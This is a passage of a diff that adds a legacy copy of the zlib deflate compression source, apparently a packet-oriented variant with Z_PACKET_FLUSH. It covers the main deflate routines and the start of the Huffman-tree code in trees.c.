Z_PARTIAL_FLUSH); + } + if (s->level != level) { + s->level = level; + s->max_lazy_match = configuration_table[level].max_lazy; + s->good_match = configuration_table[level].good_length; + s->nice_match = configuration_table[level].nice_length; + s->max_chain_length = configuration_table[level].max_chain; + } + s->strategy = strategy; + return err; +} + +/* ========================================================================= + * Put a short in the pending buffer. The 16-bit value is put in MSB order. + * IN assertion: the stream state is correct and there is enough room in + * pending_buf. + */ +local void putShortMSB (deflate_state *s, uInt b) +{ + put_byte(s, (Byte)(b >> 8)); + put_byte(s, (Byte)(b & 0xff)); +} + +/* ========================================================================= + * Flush as much pending output as possible. All deflate() output goes + * through this function so some applications may wish to modify it + * to avoid allocating a large strm->next_out buffer and copying into it. + * (See also read_buf()). + */ +local void flush_pending(z_streamp strm) +{ + deflate_state *s = (deflate_state *) strm->state; + unsigned len = s->pending; + + if (len > strm->avail_out) len = strm->avail_out; + if (len == 0) return; + + if (strm->next_out != Z_NULL) { + zmemcpy(strm->next_out, s->pending_out, len); + strm->next_out += len; + } + s->pending_out += len; + strm->total_out += len; + strm->avail_out -= len; + s->pending -= len; + if (s->pending == 0) { + s->pending_out = s->pending_buf; + } +} + +/* ========================================================================= */ +int deflate (z_streamp strm, int flush) +{ + int old_flush; /* value of flush param for previous deflate call */ + deflate_state *s; + + if (strm == Z_NULL || strm->state == Z_NULL || + flush > Z_FINISH || flush < 0) { + return Z_STREAM_ERROR; + } + s = (deflate_state *) strm->state; + + if ((strm->next_in == Z_NULL && strm->avail_in != 0) || + (s->status == FINISH_STATE && flush != Z_FINISH)) { + ERR_RETURN(strm, Z_STREAM_ERROR); + } + if (strm->avail_out == 0) ERR_RETURN(strm, Z_BUF_ERROR); + + s->strm = strm; /* just in case */ + old_flush = s->last_flush; + s->last_flush = flush; + + /* Write the zlib header */ + if (s->status == INIT_STATE) { + + uInt header = (Z_DEFLATED + ((s->w_bits-8)<<4)) << 8; + uInt level_flags = (s->level-1) >> 1; + + if (level_flags > 3) level_flags = 3; + header |= (level_flags << 6); + if (s->strstart != 0) header |= PRESET_DICT; + header += 31 - (header % 31); + + s->status = BUSY_STATE; + putShortMSB(s, header); + + /* Save the adler32 of the preset dictionary: */ + if (s->strstart != 0) { + putShortMSB(s, (uInt)(strm->adler >> 16)); + putShortMSB(s, (uInt)(strm->adler & 0xffff)); + } + strm->adler = 1L; + } + + /* Flush as much pending output as possible */ + if (s->pending != 0) { + flush_pending(strm); + if (strm->avail_out == 0) { + /* Since avail_out is 0, deflate will be called again with + * more output space, but possibly with both pending and + * avail_in equal to zero. There won't be anything to do, + * but this is not an error situation so make sure we + * return OK instead of BUF_ERROR at next call of deflate: + */ + s->last_flush = -1; + return Z_OK; + } + + /* Make sure there is something to do and avoid duplicate consecutive + * flushes. For repeated and useless calls with Z_FINISH, we keep + * returning Z_STREAM_END instead of Z_BUFF_ERROR. + */ + } else if (strm->avail_in == 0 && flush <= old_flush && + flush != Z_FINISH) { + ERR_RETURN(strm, Z_BUF_ERROR); + } + + /* User must not provide more input after the first FINISH: */ + if (s->status == FINISH_STATE && strm->avail_in != 0) { + ERR_RETURN(strm, Z_BUF_ERROR); + } + + /* Start a new block or continue the current one. + */ + if (strm->avail_in != 0 || s->lookahead != 0 || + (flush != Z_NO_FLUSH && s->status != FINISH_STATE)) { + block_state bstate; + + bstate = (*(configuration_table[s->level].func))(s, flush); + + if (bstate == finish_started || bstate == finish_done) { + s->status = FINISH_STATE; + } + if (bstate == need_more || bstate == finish_started) { + if (strm->avail_out == 0) { + s->last_flush = -1; /* avoid BUF_ERROR next call, see above */ + } + return Z_OK; + /* If flush != Z_NO_FLUSH && avail_out == 0, the next call + * of deflate should use the same flush parameter to make sure + * that the flush is complete. So we don't have to output an + * empty block here, this will be done at next call. This also + * ensures that for a very small output buffer, we emit at most + * one empty block. + */ + } + if (bstate == block_done) { + if (flush == Z_PARTIAL_FLUSH) { + _tr_align(s); + } else if (flush == Z_PACKET_FLUSH) { + /* Output just the 3-bit `stored' block type value, + but not a zero length. */ + _tr_stored_type_only(s); + } else { /* FULL_FLUSH or SYNC_FLUSH */ + _tr_stored_block(s, (char*)0, 0L, 0); + /* For a full flush, this empty block will be recognized + * as a special marker by inflate_sync(). + */ + if (flush == Z_FULL_FLUSH) { + CLEAR_HASH(s); /* forget history */ + } + } + flush_pending(strm); + if (strm->avail_out == 0) { + s->last_flush = -1; /* avoid BUF_ERROR at next call, see above */ + return Z_OK; + } + } + } + Assert(strm->avail_out > 0, "bug2"); + + if (flush != Z_FINISH) return Z_OK; + if (s->noheader) return Z_STREAM_END; + + /* Write the zlib trailer (adler32) */ + putShortMSB(s, (uInt)(strm->adler >> 16)); + putShortMSB(s, (uInt)(strm->adler & 0xffff)); + flush_pending(strm); + /* If avail_out is zero, the application will call deflate again + * to flush the rest. + */ + s->noheader = -1; /* write the trailer only once! */ + return s->pending != 0 ? Z_OK : Z_STREAM_END; +} + +/* ========================================================================= */ +int deflateEnd (strm) + z_streamp strm; +{ + int status; + deflate_state *s; + + if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; + s = (deflate_state *) strm->state; + + status = s->status; + if (status != INIT_STATE && status != BUSY_STATE && + status != FINISH_STATE) { + return Z_STREAM_ERROR; + } + + /* Deallocate in reverse order of allocations: */ + TRY_FREE(strm, s->pending_buf); + TRY_FREE(strm, s->head); + TRY_FREE(strm, s->prev); + TRY_FREE(strm, s->window); + + ZFREE(strm, s); + strm->state = Z_NULL; + + return status == BUSY_STATE ? Z_DATA_ERROR : Z_OK; +} + +/* ========================================================================= + * Copy the source state to the destination state. + */ +int deflateCopy (dest, source) + z_streamp dest; + z_streamp source; +{ + deflate_state *ds; + deflate_state *ss; + ushf *overlay; + + if (source == Z_NULL || dest == Z_NULL || source->state == Z_NULL) + return Z_STREAM_ERROR; + ss = (deflate_state *) source->state; + + zmemcpy(dest, source, sizeof(*dest)); + + ds = (deflate_state *) ZALLOC(dest, 1, sizeof(deflate_state)); + if (ds == Z_NULL) return Z_MEM_ERROR; + dest->state = (struct internal_state FAR *) ds; + zmemcpy(ds, ss, sizeof(*ds)); + ds->strm = dest; + + ds->window = (Bytef *) ZALLOC(dest, ds->w_size, 2*sizeof(Byte)); + ds->prev = (Posf *) ZALLOC(dest, ds->w_size, sizeof(Pos)); + ds->head = (Posf *) ZALLOC(dest, ds->hash_size, sizeof(Pos)); + overlay = (ushf *) ZALLOC(dest, ds->lit_bufsize, sizeof(ush)+2); + ds->pending_buf = (uchf *) overlay; + + if (ds->window == Z_NULL || ds->prev == Z_NULL || ds->head == Z_NULL || + ds->pending_buf == Z_NULL) { + deflateEnd (dest); + return Z_MEM_ERROR; + } + /* ??? following zmemcpy doesn't work for 16-bit MSDOS */ + zmemcpy(ds->window, ss->window, ds->w_size * 2 * sizeof(Byte)); + zmemcpy(ds->prev, ss->prev, ds->w_size * sizeof(Pos)); + zmemcpy(ds->head, ss->head, ds->hash_size * sizeof(Pos)); + zmemcpy(ds->pending_buf, ss->pending_buf, (uInt)ds->pending_buf_size); + + ds->pending_out = ds->pending_buf + (ss->pending_out - ss->pending_buf); + ds->d_buf = overlay + ds->lit_bufsize/sizeof(ush); + ds->l_buf = ds->pending_buf + (1+sizeof(ush))*ds->lit_bufsize; + + ds->l_desc.dyn_tree = ds->dyn_ltree; + ds->d_desc.dyn_tree = ds->dyn_dtree; + ds->bl_desc.dyn_tree = ds->bl_tree; + + return Z_OK; +} + +/* =========================================================================== + * Return the number of bytes of output which are immediately available + * for output from the decompressor. + */ +int deflateOutputPending (strm) + z_streamp strm; +{ + if (strm == Z_NULL || strm->state == Z_NULL) return 0; + + return ((deflate_state *)(strm->state))->pending; +} + +/* =========================================================================== + * Read a new buffer from the current input stream, update the adler32 + * and total number of bytes read. All deflate() input goes through + * this function so some applications may wish to modify it to avoid + * allocating a large strm->next_in buffer and copying from it. + * (See also flush_pending()). + */ +local int read_buf(strm, buf, size) + z_streamp strm; + charf *buf; + unsigned size; +{ + unsigned len = strm->avail_in; + + if (len > size) len = size; + if (len == 0) return 0; + + strm->avail_in -= len; + + if (!((deflate_state *)(strm->state))->noheader) { + strm->adler = adler32(strm->adler, strm->next_in, len); + } + zmemcpy(buf, strm->next_in, len); + strm->next_in += len; + strm->total_in += len; + + return (int)len; +} + +/* =========================================================================== + * Initialize the "longest match" routines for a new zlib stream + */ +local void lm_init (s) + deflate_state *s; +{ + s->window_size = (ulg)2L*s->w_size; + + CLEAR_HASH(s); + + /* Set the default configuration parameters: + */ + s->max_lazy_match = configuration_table[s->level].max_lazy; + s->good_match = configuration_table[s->level].good_length; + s->nice_match = configuration_table[s->level].nice_length; + s->max_chain_length = configuration_table[s->level].max_chain; + + s->strstart = 0; + s->block_start = 0L; + s->lookahead = 0; + s->match_length = s->prev_length = MIN_MATCH-1; + s->match_available = 0; + s->ins_h = 0; +#ifdef ASMV + match_init(); /* initialize the asm code */ +#endif +} + +/* =========================================================================== + * Set match_start to the longest match starting at the given string and + * return its length. Matches shorter or equal to prev_length are discarded, + * in which case the result is equal to prev_length and match_start is + * garbage. + * IN assertions: cur_match is the head of the hash chain for the current + * string (strstart) and its distance is <= MAX_DIST, and prev_length >= 1 + * OUT assertion: the match length is not greater than s->lookahead. + */ +#ifndef ASMV +/* For 80x86 and 680x0, an optimized version will be provided in match.asm or + * match.S. The code will be functionally equivalent. + */ +local uInt longest_match(s, cur_match) + deflate_state *s; + IPos cur_match; /* current match */ +{ + unsigned chain_length = s->max_chain_length;/* max hash chain length */ + register Bytef *scan = s->window + s->strstart; /* current string */ + register Bytef *match; /* matched string */ + register int len; /* length of current match */ + int best_len = s->prev_length; /* best match length so far */ + int nice_match = s->nice_match; /* stop if match long enough */ + IPos limit = s->strstart > (IPos)MAX_DIST(s) ? + s->strstart - (IPos)MAX_DIST(s) : NIL; + /* Stop when cur_match becomes <= limit. To simplify the code, + * we prevent matches with the string of window index 0. + */ + Posf *prev = s->prev; + uInt wmask = s->w_mask; + +#ifdef UNALIGNED_OK + /* Compare two bytes at a time. Note: this is not always beneficial. + * Try with and without -DUNALIGNED_OK to check. + */ + register Bytef *strend = s->window + s->strstart + MAX_MATCH - 1; + register ush scan_start = *(ushf*)scan; + register ush scan_end = *(ushf*)(scan+best_len-1); +#else + register Bytef *strend = s->window + s->strstart + MAX_MATCH; + register Byte scan_end1 = scan[best_len-1]; + register Byte scan_end = scan[best_len]; +#endif + + /* The code is optimized for HASH_BITS >= 8 and MAX_MATCH-2 multiple of 16. + * It is easy to get rid of this optimization if necessary. + */ + Assert(s->hash_bits >= 8 && MAX_MATCH == 258, "Code too clever"); + + /* Do not waste too much time if we already have a good match: */ + if (s->prev_length >= s->good_match) { + chain_length >>= 2; + } + /* Do not look for matches beyond the end of the input. This is necessary + * to make deflate deterministic. + */ + if ((uInt)nice_match > s->lookahead) nice_match = s->lookahead; + + Assert((ulg)s->strstart <= s->window_size-MIN_LOOKAHEAD, "need lookahead"); + + do { + Assert(cur_match < s->strstart, "no future"); + match = s->window + cur_match; + + /* Skip to next match if the match length cannot increase + * or if the match length is less than 2: + */ +#if (defined(UNALIGNED_OK) && MAX_MATCH == 258) + /* This code assumes sizeof(unsigned short) == 2. Do not use + * UNALIGNED_OK if your compiler uses a different size. + */ + if (*(ushf*)(match+best_len-1) != scan_end || + *(ushf*)match != scan_start) continue; + + /* It is not necessary to compare scan[2] and match[2] since they are + * always equal when the other bytes match, given that the hash keys + * are equal and that HASH_BITS >= 8. Compare 2 bytes at a time at + * strstart+3, +5, ... up to strstart+257. We check for insufficient + * lookahead only every 4th comparison; the 128th check will be made + * at strstart+257. If MAX_MATCH-2 is not a multiple of 8, it is + * necessary to put more guard bytes at the end of the window, or + * to check more often for insufficient lookahead. + */ + Assert(scan[2] == match[2], "scan[2]?"); + scan++, match++; + do { + } while (*(ushf*)(scan+=2) == *(ushf*)(match+=2) && + *(ushf*)(scan+=2) == *(ushf*)(match+=2) && + *(ushf*)(scan+=2) == *(ushf*)(match+=2) && + *(ushf*)(scan+=2) == *(ushf*)(match+=2) && + scan < strend); + /* The funny "do {}" generates better code on most compilers */ + + /* Here, scan <= window+strstart+257 */ + Assert(scan <= s->window+(unsigned)(s->window_size-1), "wild scan"); + if (*scan == *match) scan++; + + len = (MAX_MATCH - 1) - (int)(strend-scan); + scan = strend - (MAX_MATCH-1); + +#else /* UNALIGNED_OK */ + + if (match[best_len] != scan_end || + match[best_len-1] != scan_end1 || + *match != *scan || + *++match != scan[1]) continue; + + /* The check at best_len-1 can be removed because it will be made + * again later. (This heuristic is not always a win.) + * It is not necessary to compare scan[2] and match[2] since they + * are always equal when the other bytes match, given that + * the hash keys are equal and that HASH_BITS >= 8. + */ + scan += 2, match++; + Assert(*scan == *match, "match[2]?"); + + /* We check for insufficient lookahead only every 8th comparison; + * the 256th check will be made at strstart+258. + */ + do { + } while (*++scan == *++match && *++scan == *++match && + *++scan == *++match && *++scan == *++match && + *++scan == *++match && *++scan == *++match && + *++scan == *++match && *++scan == *++match && + scan < strend); + + Assert(scan <= s->window+(unsigned)(s->window_size-1), "wild scan"); + + len = MAX_MATCH - (int)(strend - scan); + scan = strend - MAX_MATCH; + +#endif /* UNALIGNED_OK */ + + if (len > best_len) { + s->match_start = cur_match; + best_len = len; + if (len >= nice_match) break; +#ifdef UNALIGNED_OK + scan_end = *(ushf*)(scan+best_len-1); +#else + scan_end1 = scan[best_len-1]; + scan_end = scan[best_len]; +#endif + } + } while ((cur_match = prev[cur_match & wmask]) > limit + && --chain_length != 0); + + if ((uInt)best_len <= s->lookahead) return best_len; + return s->lookahead; +} +#endif /* ASMV */ + +#ifdef DEBUG_ZLIB +/* =========================================================================== + * Check that the match at match_start is indeed a match. + */ +local void check_match(s, start, match, length) + deflate_state *s; + IPos start, match; + int length; +{ + /* check that the match is indeed a match */ + if (zmemcmp((charf *)s->window + match, + (charf *)s->window + start, length) != EQUAL) { + fprintf(stderr, " start %u, match %u, length %d\n", + start, match, length); + do { + fprintf(stderr, "%c%c", s->window[match++], s->window[start++]); + } while (--length != 0); + z_error("invalid match"); + } + if (z_verbose > 1) { + fprintf(stderr,"\\[%d,%d]", start-match, length); + do { putc(s->window[start++], stderr); } while (--length != 0); + } +} +#else +# define check_match(s, start, match, length) +#endif + +/* =========================================================================== + * Fill the window when the lookahead becomes insufficient. + * Updates strstart and lookahead. + * + * IN assertion: lookahead < MIN_LOOKAHEAD + * OUT assertions: strstart <= window_size-MIN_LOOKAHEAD + * At least one byte has been read, or avail_in == 0; reads are + * performed for at least two bytes (required for the zip translate_eol + * option -- not supported here). + */ +local void fill_window(s) + deflate_state *s; +{ + register unsigned n, m; + register Posf *p; + unsigned more; /* Amount of free space at the end of the window. */ + uInt wsize = s->w_size; + + do { + more = (unsigned)(s->window_size -(ulg)s->lookahead -(ulg)s->strstart); + + /* Deal with !@#$% 64K limit: */ + if (more == 0 && s->strstart == 0 && s->lookahead == 0) { + more = wsize; + + } else if (more == (unsigned)(-1)) { + /* Very unlikely, but possible on 16 bit machine if strstart == 0 + * and lookahead == 1 (input done one byte at time) + */ + more--; + + /* If the window is almost full and there is insufficient lookahead, + * move the upper half to the lower one to make room in the upper half. + */ + } else if (s->strstart >= wsize+MAX_DIST(s)) { + + zmemcpy((charf *)s->window, (charf *)s->window+wsize, + (unsigned)wsize); + s->match_start -= wsize; + s->strstart -= wsize; /* we now have strstart >= MAX_DIST */ + s->block_start -= (long) wsize; + + /* Slide the hash table (could be avoided with 32 bit values + at the expense of memory usage). We slide even when level == 0 + to keep the hash table consistent if we switch back to level > 0 + later. (Using level 0 permanently is not an optimal usage of + zlib, so we don't care about this pathological case.) + */ + n = s->hash_size; + p = &s->head[n]; + do { + m = *--p; + *p = (Pos)(m >= wsize ? m-wsize : NIL); + } while (--n); + + n = wsize; + p = &s->prev[n]; + do { + m = *--p; + *p = (Pos)(m >= wsize ? m-wsize : NIL); + /* If n is not on any hash chain, prev[n] is garbage but + * its value will never be used. + */ + } while (--n); + more += wsize; + } + if (s->strm->avail_in == 0) return; + + /* If there was no sliding: + * strstart <= WSIZE+MAX_DIST-1 && lookahead <= MIN_LOOKAHEAD - 1 && + * more == window_size - lookahead - strstart + * => more >= window_size - (MIN_LOOKAHEAD-1 + WSIZE + MAX_DIST-1) + * => more >= window_size - 2*WSIZE + 2 + * In the BIG_MEM or MMAP case (not yet supported), + * window_size == input_size + MIN_LOOKAHEAD && + * strstart + s->lookahead <= input_size => more >= MIN_LOOKAHEAD. + * Otherwise, window_size == 2*WSIZE so more >= 2. + * If there was sliding, more >= WSIZE. So in all cases, more >= 2. + */ + Assert(more >= 2, "more < 2"); + + n = read_buf(s->strm, (charf *)s->window + s->strstart + s->lookahead, + more); + s->lookahead += n; + + /* Initialize the hash value now that we have some input: */ + if (s->lookahead >= MIN_MATCH) { + s->ins_h = s->window[s->strstart]; + UPDATE_HASH(s, s->ins_h, s->window[s->strstart+1]); +#if MIN_MATCH != 3 + Call UPDATE_HASH() MIN_MATCH-3 more times +#endif + } + /* If the whole input has less than MIN_MATCH bytes, ins_h is garbage, + * but this is not important since only literal bytes will be emitted. + */ + + } while (s->lookahead < MIN_LOOKAHEAD && s->strm->avail_in != 0); +} + +/* =========================================================================== + * Flush the current block, with given end-of-file flag. + * IN assertion: strstart is set to the end of the current match. + */ +#define FLUSH_BLOCK_ONLY(s, eof) { \ + _tr_flush_block(s, (s->block_start >= 0L ? \ + (charf *)&s->window[(unsigned)s->block_start] : \ + (charf *)Z_NULL), \ + (ulg)((long)s->strstart - s->block_start), \ + (eof)); \ + s->block_start = s->strstart; \ + flush_pending(s->strm); \ + Tracev((stderr,"[FLUSH]")); \ +} + +/* Same but force premature exit if necessary. */ +#define FLUSH_BLOCK(s, eof) { \ + FLUSH_BLOCK_ONLY(s, eof); \ + if (s->strm->avail_out == 0) return (eof) ? finish_started : need_more; \ +} + +/* =========================================================================== + * Copy without compression as much as possible from the input stream, return + * the current block state. + * This function does not insert new strings in the dictionary since + * uncompressible data is probably not useful. This function is used + * only for the level=0 compression option. + * NOTE: this function should be optimized to avoid extra copying from + * window to pending_buf. + */ +local block_state deflate_stored(s, flush) + deflate_state *s; + int flush; +{ + /* Stored blocks are limited to 0xffff bytes, pending_buf is limited + * to pending_buf_size, and each stored block has a 5 byte header: + */ + ulg max_block_size = 0xffff; + ulg max_start; + + if (max_block_size > s->pending_buf_size - 5) { + max_block_size = s->pending_buf_size - 5; + } + + /* Copy as much as possible from input to output: */ + for (;;) { + /* Fill the window as much as possible: */ + if (s->lookahead <= 1) { + + Assert(s->strstart < s->w_size+MAX_DIST(s) || + s->block_start >= (long)s->w_size, "slide too late"); + + fill_window(s); + if (s->lookahead == 0 && flush == Z_NO_FLUSH) return need_more; + + if (s->lookahead == 0) break; /* flush the current block */ + } + Assert(s->block_start >= 0L, "block gone"); + + s->strstart += s->lookahead; + s->lookahead = 0; + + /* Emit a stored block if pending_buf will be full: */ + max_start = s->block_start + max_block_size; + if (s->strstart == 0 || (ulg)s->strstart >= max_start) { + /* strstart == 0 is possible when wraparound on 16-bit machine */ + s->lookahead = (uInt)(s->strstart - max_start); + s->strstart = (uInt)max_start; + FLUSH_BLOCK(s, 0); + } + /* Flush if we may have to slide, otherwise block_start may become + * negative and the data will be gone: + */ + if (s->strstart - (uInt)s->block_start >= MAX_DIST(s)) { + FLUSH_BLOCK(s, 0); + } + } + FLUSH_BLOCK(s, flush == Z_FINISH); + return flush == Z_FINISH ? finish_done : block_done; +} + +/* =========================================================================== + * Compress as much as possible from the input stream, return the current + * block state. + * This function does not perform lazy evaluation of matches and inserts + * new strings in the dictionary only for unmatched strings or for short + * matches. It is used only for the fast compression options. + */ +local block_state deflate_fast(s, flush) + deflate_state *s; + int flush; +{ + IPos hash_head = NIL; /* head of the hash chain */ + int bflush; /* set if current block must be flushed */ + + for (;;) { + /* Make sure that we always have enough lookahead, except + * at the end of the input file. We need MAX_MATCH bytes + * for the next match, plus MIN_MATCH bytes to insert the + * string following the next match. + */ + if (s->lookahead < MIN_LOOKAHEAD) { + fill_window(s); + if (s->lookahead < MIN_LOOKAHEAD && flush == Z_NO_FLUSH) { + return need_more; + } + if (s->lookahead == 0) break; /* flush the current block */ + } + + /* Insert the string window[strstart .. strstart+2] in the + * dictionary, and set hash_head to the head of the hash chain: + */ + if (s->lookahead >= MIN_MATCH) { + INSERT_STRING(s, s->strstart, hash_head); + } + + /* Find the longest match, discarding those <= prev_length. + * At this point we have always match_length < MIN_MATCH + */ + if (hash_head != NIL && s->strstart - hash_head <= MAX_DIST(s)) { + /* To simplify the code, we prevent matches with the string + * of window index 0 (in particular we have to avoid a match + * of the string with itself at the start of the input file). + */ + if (s->strategy != Z_HUFFMAN_ONLY) { + s->match_length = longest_match (s, hash_head); + } + /* longest_match() sets match_start */ + } + if (s->match_length >= MIN_MATCH) { + check_match(s, s->strstart, s->match_start, s->match_length); + + bflush = _tr_tally(s, s->strstart - s->match_start, + s->match_length - MIN_MATCH); + + s->lookahead -= s->match_length; + + /* Insert new strings in the hash table only if the match length + * is not too large. This saves time but degrades compression. + */ + if (s->match_length <= s->max_insert_length && + s->lookahead >= MIN_MATCH) { + s->match_length--; /* string at strstart already in hash table */ + do { + s->strstart++; + INSERT_STRING(s, s->strstart, hash_head); + /* strstart never exceeds WSIZE-MAX_MATCH, so there are + * always MIN_MATCH bytes ahead. + */ + } while (--s->match_length != 0); + s->strstart++; + } else { + s->strstart += s->match_length; + s->match_length = 0; + s->ins_h = s->window[s->strstart]; + UPDATE_HASH(s, s->ins_h, s->window[s->strstart+1]); +#if MIN_MATCH != 3 + Call UPDATE_HASH() MIN_MATCH-3 more times +#endif + /* If lookahead < MIN_MATCH, ins_h is garbage, but it does not + * matter since it will be recomputed at next deflate call. + */ + } + } else { + /* No match, output a literal byte */ + Tracevv((stderr,"%c", s->window[s->strstart])); + bflush = _tr_tally (s, 0, s->window[s->strstart]); + s->lookahead--; + s->strstart++; + } + if (bflush) FLUSH_BLOCK(s, 0); + } + FLUSH_BLOCK(s, flush == Z_FINISH); + return flush == Z_FINISH ? finish_done : block_done; +} + +/* =========================================================================== + * Same as above, but achieves better compression. We use a lazy + * evaluation for matches: a match is finally adopted only if there is + * no better match at the next window position. + */ +local block_state deflate_slow(s, flush) + deflate_state *s; + int flush; +{ + IPos hash_head = NIL; /* head of hash chain */ + int bflush; /* set if current block must be flushed */ + + /* Process the input block. */ + for (;;) { + /* Make sure that we always have enough lookahead, except + * at the end of the input file. We need MAX_MATCH bytes + * for the next match, plus MIN_MATCH bytes to insert the + * string following the next match. + */ + if (s->lookahead < MIN_LOOKAHEAD) { + fill_window(s); + if (s->lookahead < MIN_LOOKAHEAD && flush == Z_NO_FLUSH) { + return need_more; + } + if (s->lookahead == 0) break; /* flush the current block */ + } + + /* Insert the string window[strstart .. strstart+2] in the + * dictionary, and set hash_head to the head of the hash chain: + */ + if (s->lookahead >= MIN_MATCH) { + INSERT_STRING(s, s->strstart, hash_head); + } + + /* Find the longest match, discarding those <= prev_length. + */ + s->prev_length = s->match_length, s->prev_match = s->match_start; + s->match_length = MIN_MATCH-1; + + if (hash_head != NIL && s->prev_length < s->max_lazy_match && + s->strstart - hash_head <= MAX_DIST(s)) { + /* To simplify the code, we prevent matches with the string + * of window index 0 (in particular we have to avoid a match + * of the string with itself at the start of the input file). + */ + if (s->strategy != Z_HUFFMAN_ONLY) { + s->match_length = longest_match (s, hash_head); + } + /* longest_match() sets match_start */ + + if (s->match_length <= 5 && (s->strategy == Z_FILTERED || + (s->match_length == MIN_MATCH && + s->strstart - s->match_start > TOO_FAR))) { + + /* If prev_match is also MIN_MATCH, match_start is garbage + * but we will ignore the current match anyway. + */ + s->match_length = MIN_MATCH-1; + } + } + /* If there was a match at the previous step and the current + * match is not better, output the previous match: + */ + if (s->prev_length >= MIN_MATCH && s->match_length <= s->prev_length) { + uInt max_insert = s->strstart + s->lookahead - MIN_MATCH; + /* Do not insert strings in hash table beyond this. */ + + check_match(s, s->strstart-1, s->prev_match, s->prev_length); + + bflush = _tr_tally(s, s->strstart -1 - s->prev_match, + s->prev_length - MIN_MATCH); + + /* Insert in hash table all strings up to the end of the match. + * strstart-1 and strstart are already inserted. If there is not + * enough lookahead, the last two strings are not inserted in + * the hash table. + */ + s->lookahead -= s->prev_length-1; + s->prev_length -= 2; + do { + if (++s->strstart <= max_insert) { + INSERT_STRING(s, s->strstart, hash_head); + } + } while (--s->prev_length != 0); + s->match_available = 0; + s->match_length = MIN_MATCH-1; + s->strstart++; + + if (bflush) FLUSH_BLOCK(s, 0); + + } else if (s->match_available) { + /* If there was no match at the previous position, output a + * single literal. If there was a match but the current match + * is longer, truncate the previous match to a single literal. + */ + Tracevv((stderr,"%c", s->window[s->strstart-1])); + if (_tr_tally (s, 0, s->window[s->strstart-1])) { + FLUSH_BLOCK_ONLY(s, 0); + } + s->strstart++; + s->lookahead--; + if (s->strm->avail_out == 0) return need_more; + } else { + /* There is no previous match to compare with, wait for + * the next step to decide. + */ + s->match_available = 1; + s->strstart++; + s->lookahead--; + } + } + Assert (flush != Z_NO_FLUSH, "no flush?"); + if (s->match_available) { + Tracevv((stderr,"%c", s->window[s->strstart-1])); + _tr_tally (s, 0, s->window[s->strstart-1]); + s->match_available = 0; + } + FLUSH_BLOCK(s, flush == Z_FINISH); + return flush == Z_FINISH ? finish_done : block_done; +} +/* --- deflate.c */ + +/* +++ trees.c */ +/* trees.c -- output deflated data using Huffman coding + * Copyright (C) 1995-1996 Jean-loup Gailly + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* + * ALGORITHM + * + * The "deflation" process uses several Huffman trees. The more + * common source values are represented by shorter bit sequences. + * + * Each code tree is stored in a compressed form which is itself + * a Huffman encoding of the lengths of all the code strings (in + * ascending order by source values). The actual code strings are + * reconstructed from the lengths in the inflate process, as described + * in the deflate specification. + * + * REFERENCES + * + * Deutsch, L.P.,"'Deflate' Compressed Data Format Specification". + * Available in ftp.uu.net:/pub/archiving/zip/doc/deflate-1.1.doc + * + * Storer, James A. + * Data Compression: Methods and Theory, pp. 49-50. + * Computer Science Press, 1988. ISBN 0-7167-8156-5. + * + * Sedgewick, R. + * Algorithms, p290. + * Addison-Wesley, 1983. ISBN 0-201-06672-6. + */ + +/* From: trees.c,v 1.11 1996/07/24 13:41:06 me Exp $ */ + +/* #include "deflate.h" */ + +#ifdef DEBUG_ZLIB +# include +#endif + +/* =========================================================================== + * Constants + */ + +#define MAX_BL_BITS 7 +/* Bit length codes must not exceed MAX_BL_BITS bits */ + +#define END_BLOCK 256 +/* end of block literal code */ + +#define REP_3_6 16 +/* repeat previous bit length 3-6 times (2 bits of repeat count) */ + +#define REPZ_3_10 17 +/* repeat a zero length 3-10 times (3 bits of repeat count) */ + +#define REPZ_11_138 18 +/* repeat a zero length 11-138 times (7 bits of repeat count) */ + +local int extra_lbits[LENGTH_CODES] /* extra bits for each length code */ + = {0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0}; + +local int extra_dbits[D_CODES] /* extra bits for each distance code */ + = {0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13}; + +local int extra_blbits[BL_CODES]/* extra bits for each bit length code */ + = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7}; + +local uch bl_order[BL_CODES] + = {16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15}; +/* The lengths of the bit length codes are sent in order of decreasing + * probability, to avoid transmitting the lengths for unused bit length codes. + */ + +#define Buf_size (8 * 2*sizeof(char)) +/* Number of bits used within bi_buf. (bi_buf might be implemented on + * more than 16 bits on some systems.) + */ + +/* =========================================================================== + * Local data. These are initialized only once. + */ + +local ct_data static_ltree[L_CODES+2]; +/* The static literal tree. Since the bit lengths are imposed, there is no + * need for the L_CODES extra codes used during heap construction. However + * The codes 286 and 287 are needed to build a canonical tree (see _tr_init + * below). + */ + +local ct_data static_dtree[D_CODES]; +/* The static distance tree. (Actually a trivial tree since all codes use + * 5 bits.) + */ + +local uch dist_code[512]; +/* distance codes. The first 256 values correspond to the distances + * 3 .. 258, the last 256 values correspond to the top 8 bits of + * the 15 bit distances. + */ + +local uch length_code[MAX_MATCH-MIN_MATCH+1]; +/* length code for each normalized match length (0 == MIN_MATCH) */ + +local int base_length[LENGTH_CODES]; +/* First normalized length for each code (0 = MIN_MATCH) */ + +local int base_dist[D_CODES]; +/* First normalized distance for each code (0 = distance of 1) */ + +struct static_tree_desc_s { + ct_data *static_tree; /* static tree or NULL */ + intf *extra_bits; /* extra bits for each code or NULL */ + int extra_base; /* base index for extra_bits */ + int elems; /* max number of elements in the tree */ + int max_length; /* max bit length for the codes */ +}; + +local static_tree_desc static_l_desc = +{static_ltree, extra_lbits, LITERALS+1, L_CODES, MAX_BITS}; + +local static_tree_desc static_d_desc = +{static_dtree, extra_dbits, 0, D_CODES, MAX_BITS}; + +local static_tree_desc static_bl_desc = +{(ct_data *)0, extra_blbits, 0, BL_CODES, MAX_BL_BITS}; + +/* =========================================================================== + * Local (static) routines in this file. + */ + +local void tr_static_init OF((void)); +local void init_block OF((deflate_state *s)); +local void pqdownheap OF((deflate_state *s, ct_data *tree, int k)); +local void gen_bitlen OF((deflate_state *s, tree_desc *desc)); +local void gen_codes OF((ct_data *tree, int max_code, ushf *bl_count)); +local void build_tree OF((deflate_state *s, tree_desc *desc)); +local void scan_tree OF((deflate_state *s, ct_data *tree, int max_code)); +local void send_tree OF((deflate_state *s, ct_data *tree, int max_code)); +local int build_bl_tree OF((deflate_state *s)); +local void send_all_trees 